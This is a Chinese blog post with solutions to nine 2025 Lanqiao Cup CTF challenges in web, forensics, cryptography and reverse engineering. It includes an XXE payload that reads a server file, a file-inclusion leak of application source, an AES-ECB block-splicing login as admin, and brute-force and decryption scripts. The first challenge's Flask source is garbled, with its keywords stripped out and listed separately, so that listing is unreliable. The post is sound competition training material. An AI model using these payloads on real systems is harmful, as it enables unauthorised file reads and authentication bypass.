跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python算法

2025 年第十六届蓝桥杯网络安全 CTF 省赛真题详解 (Web/Misc/Crypto/Reverse)

综述由AI生成了 2025 年第十六届蓝桥杯网络安全 CTF 省赛部分真题,涵盖 Web、Misc、Crypto、Reverse 四个方向。主要涉及文件包含漏洞利用、Windows 事件日志分析、压缩包提取、Enigma 密码机还原、AES 加密模式攻击(ECB/CBC)、逆向工程分析及 XML 外部实体注入等关键技术点。通过提供解题思路与 Exp 代码示例,帮助读者理解各类安全攻防原理。

赛博朋克发布于 2026/4/6更新于 2026/5/2134 浏览
2025 年第十六届蓝桥杯网络安全 CTF 省赛真题详解 (Web/Misc/Crypto/Reverse)

概述

本文详解了 2025 年第十六届蓝桥杯网络安全 CTF 省赛部分真题,涵盖 Web、Misc、Crypto、Reverse 四个方向。

第一题:情报收集:黑客密室逃脱(Web 类题目 50 分)

1.1 题目描述

靶机题目:黑客密室逃脱 **题目内容:**欢迎闯入黑客密室,你被困在了顶级黑客精心设计的数字牢笼中,每一道关卡都暗藏致命陷阱!唯一的逃脱之路,是破解散落在服务器各处的加密线索,找到最终的'数字钥匙'。 访问靶机后如下图所示,点击【立即查看日志】给出一串加密字符串,解密之后就是 flag。点击【前往秘密区域】提示我们去访问 /file?name=xxx,让我们猜测文件名。我们通过课程教授的方法获取到文件名是 app.py,然后通过文件包含获取源代码。

import os
from flask import Flask, request, render_template
from config import *

# author: gamelab
app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO
# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
    encrypted = bytearray()
    for i in range(len(text)):
        char = text[i]
        key_char = key[i % len(key)]
        encrypted.append(ord(char) + ord(key_char))
    return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥:{encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
    f.write(hidden_file_content)


 ():
     render_template()


 ():
     render_template(, log_content=log_content)


 ():
     render_template()


 ():
    file_name = request.args.get()
      file_name:
         render_template()
    full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
      full_path.startswith(SAFE_ROOT_DIR)    full_path:
         render_template()
    :
         (full_path, , encoding=)  f:
            content = f.read()
         render_template(, content=content)
     FileNotFoundError:
         render_template()

 __name__ == :
    app.run(debug=, host=)
@app.route('/')
def
index
return
'index.html'
@app.route('/logs')
def
logs
return
'logs.html'
@app.route('/secret')
def
secret
return
'secret.html'
@app.route('/file')
def
file
'name'
if
not
return
'no_file_name.html'
if
not
or
'config'
in
return
'no_premission.html'
try
with
open
'r'
'utf-8'
as
return
'file_content.html'
except
return
'file_not_found.html'
if
'__main__'
True
'0.0.0.0'

程序使用 simple_encrypt() 函数对敏感信息进行加密,当用户访问 /logs 页面时返回加密后的敏感信息。

1.2 解题步骤

当用户访问 /hidden.txt 页面时返回密钥 key,我们手动访问一下获得秘钥。 我们有了加密算法、密钥和密文,可以编写解密函数获取明文。

1.3 Exp 代码

def simple_decrypt(encrypted_hex, key):
    encrypted_bytes = bytearray.fromhex(encrypted_hex)
    decrypted = bytearray()
    for i in range(len(encrypted_bytes)):
        encrypted_char = encrypted_bytes[i]
        key_char = key[i % len(key)]
        decrypted.append(encrypted_char - ord(key_char))
    return decrypted.decode('utf-8')

print(simple_decrypt("d9d1c4d9e0abc2a497df9a9a6c5fa4c9c9a592a8c39ccba6709b6b98a0c7c6d89cd994a39aae6f6f68af", "secret_key8672")) 
# flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}

第二题:数据分析:ezEvtx(Misc 杂项类题目 50 分)

2.1 题目描述

**题目内容:**EVTX 文件是 Windows 操作系统生成的事件日志文件,用于记录系统、应用程序和安全事件。(本题需要选手找出攻击者访问成功的一个敏感文件,提交格式为 flag{文件名},其中文件名不包含文件路径,且包含文件后缀)

2.2 解题步骤

第一步,用软件 elex.exe 打开题目附件。 第二步,分析题目,题目说攻击者访问成功的一个敏感文件,我们需要找到这个文件名。课堂上我们讲过,事件 ID4663:文件系统操作 (详细文件访问),事件 ID4656:请求访问对象 (通常是文件),那么我们先根据 4663 进行筛选。 找到了文件名,答案就是 flag{confidential.docx}。

第三题:数据分析:flowzip(Misc 杂项类题目 50 分)

3.1 题目描述

**题目内容:**There are many zip files.

3.2 解题步骤

直接一步解,查找 flag。

第四题:密码破解:Enigma(Crypto 密码学类题目 50 分)

4.1 题目描述

**题目内容:**Enigma 是 20 世纪早期由德国工程师 Arthur Scherbius 设计的一款便携式机械加密设备,旨在为需要高安全性通信的场景提供加密保护。其核心原理基于可旋转的机械转子、反射器和接线板的组合,通过复杂的电路转换实现对明文的加密与解密。(本题需要选手还原成原文字母,提交格式为 flag{原文字母},其中原文字母为全英文大写,且去掉空格。)

4.2 解题步骤

这道题目比上课时候讲的恩尼格码加密简单多了,我上课的题目要编程写脚本,这道题目直接用 CyberChef 直接一步解,就可以拿到 flag。打开 CyberChef,选择 Enigma 加密算法。放入密文,发现直接出现了明文,怀疑可能是对称加密。 flag{HELLOCTFERTHISISAMESSAGEFORYOU}

第五题:密码破解:ECBTrain(Crypto 密码学类题目 278 分)

5.1 题目描述

**题目内容:**AES 的 ECB 模式存在很明显的缺陷。你能否尝试以 admin 身份完成本题挑战?

5.2 解题步骤

靶机题目,加密算法为 AES 的 ECB 模式。利用了 AES-ECB 加密模式的分块独立加密特性。ECB 模式下,相同的明文块始终加密为相同的密文块,且各块加密互不影响。 靶场题目的意思是:netcat 连接后,先注册,发现注册后返回 auth(base64 编码),再登陆的时候需要输入 auth。 解题思路:第一步,第一次注册 aaaaaaaaaaaaaaaadmin,这个账号由 16 个字符 a 和 5 个字符 admin 组成,所以加密是 16 个字符 a 为第一个独立块,admin 为第二个独立块。第二步,第一次注册返回的是 AES 加密后的 base64 编码,我们获取 AES 密文的最后 16 字节就是 admin 加密后的密文 auth。第三步,最后用这个密文的 base64 编码输入 2 登录即可获得 flag。

5.3 Exp 代码

import base64

def process_base64_string(encoded_string: str) -> str:
    """提取 Base64 解码数据的最后 16 字节并重新编码为 Base64 字符串"""
    return base64.b64encode(base64.b64decode(encoded_string)[-16:]).decode()

if __name__ == "__main__":
    input_string = "5P11TbEOqmL1oO50uA3RAuYDAShfRHesjVDxvulTEAk="
    print("处理后的 Base64 字符串:", process_base64_string(input_string))

flag 值:flag{69916f0f-eb6d-436e-ad27-0eb62dcbe740}

第六题:密码破解:easy_AES(Crypto 密码学类题目 286 分)

6.1 题目描述

**题目内容:**题目采用的是传统的 AES 加密,但是其中的 key 似乎可以通过爆破得到,你能找到其中的问题,解密出敏感数据吗? 题目代码如下:

from Crypto.Cipher import AES
from secret import flag
import random, os

def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]
    random.shuffle(tables)
    return ''.join(tables[int(key[_], 16)] for _ in range(len(key)))

def gen():
    key0 = os.urandom(16).hex()
    key1 = permutation(key0)
    return key0, key1

def encrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)
    aes1 = AES.new(key1, AES.MODE_CBC, key0)
    return aes1.decrypt(aes0.encrypt(msg))

gift = int(key0, 16) & int(key1, 16)
cipher = encrypt(bytes.fromhex(key0), bytes.fromhex(key1), pad(flag))
print(f"gift = {gift}")
print(f"key1 = {key1}")
print(f"cipher = {cipher}")

6.2 Exp 代码

关键点在于 key1 是由 key0 进行置换后得到的,尝试编写脚本爆破置换表后进行解密。

from Crypto.Cipher import AES
import random, os

def pad(msg):
    return msg + bytes([16 - len(msg) % 16 for _ in range(16 - len(msg) % 16)])

def permutation(key):
    tables = [hex(_)[2:] for _ in range(16)]
    random.shuffle(tables)
    return ''.join(tables[int(key[_], 16)] for _ in range(len(key)))

def decrypt(key0, key1, msg):
    aes0 = AES.new(key0, AES.MODE_CBC, key1)
    aes1 = AES.new(key1, AES.MODE_CBC, key0)
    return aes0.decrypt(aes1.encrypt(msg))

gift = 64698960125130294692475067384121553664
key1 = int('74aeb356c6eb74f364cd316497c0f714', 16)
cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'

gift = hex(gift)[2:]
key1 = hex(key1)[2:]
key0 = [[-1]] * 16

for i in range(32):
    key_new = []
    for j in range(16):
        if int(key1[i], 16) & j == int(gift[i], 16):
            key_new.append(hex(j)[2:])
    key0[int(key1[i], 16)] = key_new

for i in range(len(key0)):
    if key0[i][0] == -1:
        key0[i] = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']

key0a = []
def gogogo(used, i):
    global key0, key0a
    for j in key0[i]:
        if j not in used:
            if i != 15:
                used2 = used + [j]
                gogogo(used2, i + 1)
            else:
                key0a.append(used + [j])

gogogo([], 0)

ret_all = b''
for i in key0a:
    newkey = ''.join(i[int(key1[_], 16)] for _ in range(len(key1)))
    a0, a1 = int(newkey, 16), int(key1, 16)
    if a0 & a1 == 64698960125130294692475067384121553664:
        ret = decrypt(bytes.fromhex(newkey), bytes.fromhex(key1), cipher)
        ret_all += ret

with open('result.txt', 'wb') as f:
    f.write(ret_all)

生成 result.txt,用 winhex 打开查找 flag,flag{886769b5-2301-4c37-bb73-4480b4eab682}

第七题:逆向分析:ShadowPhases(Reverse 逆向类题目 50 分)

7.1 题目描述

**题目内容:**在调查一起跨国数据泄露事件时,你的团队在暗网论坛发现一组被称作'三影密匣'的加密缓存文件。据匿名线报,这些文件采用上世纪某情报机构开发的'三重影位算法',关键数据被分割为三个相位,每个相位使用不同的影位密钥混淆。威胁分析显示,若不能在 48 小时内还原原始信息,某关键基础设施的访问密钥将被永久销毁。逆向工程师的日志残页显示:'相位间存在密钥共鸣,但需警惕内存中的镜像陷阱..'

7.2 解题步骤

第一步,查壳,无壳 64 位。 第二步,IDA64 位打开,拖入 IDA 分析,发现会将我们的 input 与 enc 进行比较。这类题目课堂上讲过多种解法,最快的就是动调。 动调至断点处,获得 flag,flag{0fa830e7-b699-4513-8e01-51f35b0f3293}

第八题:逆向分析:BashBreaker(Reverse 逆向类题目 120 分)

8.1 题目描述

**题目内容:**赛博考古学界流传着一个传说——人工智能先驱艾琳·巴什博士在自杀前,将毕生研究的核心算法封存在了他的量子实验室中。这个实验室遵循古老的巴什博弈协议,唯有通过 15 枚光子硬币的智慧试炼,才能唤醒沉睡的实验室 AI。

8.2 解题步骤

第一步,查壳,无壳 64 位。 第二步,IDA64 位打开,拖入 IDA 分析,找到 main 函数后发现有一个 key 解密函数。 第三步,nop 掉 if 语句,直接运行 full_decrypt() 函数获得 key。 第四步,找到变异的 rc4 函数(rc4_init 和 rc4_next 函数多一个异或 0x37),以及密文。

8.3 Exp 代码

from Crypto.Cipher import ARC4
import binascii

def rc4(key: bytes, data: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + (key[i % len(key)] ^ 0x37)) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    result = []
    for byte in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        k = ((16 * k) | (k >> 4)) & 0xff
        result.append((byte ^ k)&0xff)
    return bytes(result)

if __name__ == "__main__":
    key = b"EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD"
    enc = [0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48, 0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD, 0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43, 0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02, 0x39, 0x18]
    plaintext = bytes(enc)
    ciphertext = rc4(key, plaintext)
    print("加密结果(Hex):", bytes(ciphertext))

第九题:漏洞挖掘分析:星际 XML 解析器(web 类题目)

9.1 题目描述

你已进入星际数据的世界,输入 XML 数据,启动解析程序,探索未知的数据奥秘!

9.2 解题步骤

老师培训班讲过的原题 XML 攻击,直接拿老师上课的 payload 即可。

9.3 Exp 代码

当服务器解析这段 XML 时: 遇到&xxe;引用时,尝试加载定义的外部实体 通过 file://协议,解析器会读取服务器上的/flag 文件 flag 文件内容会被包含在 XML 响应中返回

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]> <creds>
<user>&xxe;</user>
</creds>

目录

  1. 概述
  2. 第一题:情报收集:黑客密室逃脱(Web 类题目 50 分)
  3. 1.1 题目描述
  4. author: gamelab
  5. 模拟敏感信息
  6. 加密密钥
  7. 模拟日志文件内容
  8. 模拟隐藏文件内容
  9. 指定安全的文件根目录
  10. 1.2 解题步骤
  11. 1.3 Exp 代码
  12. flag{7c92fbd5-1df3-4d1f-8e4f-bcf7e5855791}
  13. 第二题:数据分析:ezEvtx(Misc 杂项类题目 50 分)
  14. 2.1 题目描述
  15. 2.2 解题步骤
  16. 第三题:数据分析:flowzip(Misc 杂项类题目 50 分)
  17. 3.1 题目描述
  18. 3.2 解题步骤
  19. 第四题:密码破解:Enigma(Crypto 密码学类题目 50 分)
  20. 4.1 题目描述
  21. 4.2 解题步骤
  22. 第五题:密码破解:ECBTrain(Crypto 密码学类题目 278 分)
  23. 5.1 题目描述
  24. 5.2 解题步骤
  25. 5.3 Exp 代码
  26. 第六题:密码破解:easy_AES(Crypto 密码学类题目 286 分)
  27. 6.1 题目描述
  28. 6.2 Exp 代码
  29. 第七题:逆向分析:ShadowPhases(Reverse 逆向类题目 50 分)
  30. 7.1 题目描述
  31. 7.2 解题步骤
  32. 第八题:逆向分析:BashBreaker(Reverse 逆向类题目 120 分)
  33. 8.1 题目描述
  34. 8.2 解题步骤
  35. 8.3 Exp 代码
  36. 第九题:漏洞挖掘分析:星际 XML 解析器(web 类题目)
  37. 9.1 题目描述
  38. 9.2 解题步骤
  39. 9.3 Exp 代码
  • 💰 8折买阿里云服务器限时8折了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Windows 10/11 部署 OpenClaw 指南:从环境搭建到机器人互联
  • LLaMA 大模型微调实践与心得:基于 LoRA 的高效方案
  • OpenClaw 飞书机器人配置:群消息免@自动回复
  • 基于 GLM-4.6V-Flash-WEB 构建生产级智能客服系统实战
  • Open-AutoGLM 打造专属手机机器人
  • GTC 2026 前瞻:Rubin 平台与 AI 工厂化演进
  • AI 赋能:普通人如何利用大模型提升学习与工作效率
  • 大模型部署实战:使用 AnythingLLM 本地化运行 LLM
  • 使用 Ollama 运行 HuggingFace 下载的本地模型
  • Cursor 中 MCP 服务配置与实战应用
  • 开源大模型遇冷:Llama3 市场表现与闭源趋势分析
  • Apache IoTDB 集群安装部署指南与技术优势分析
  • Web 创建与设计实战指南
  • Python 与大模型结合实现网页数据爬虫实战
  • Figma设计稿转前端代码:基于Cursor IDE MCP功能的自动化方案
  • 企业微信 Java SDK 集成开发指南
  • Node.js 下载安装及环境配置实战指南
  • GitHub 全界面中文化:Tampermonkey 插件安装与配置指南
  • AI 工作流模板实战:Dify 应用开发与开源 AI 工具落地
  • MambaRefine-YOLO:一种用于无人机影像的双模态小目标检测器

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online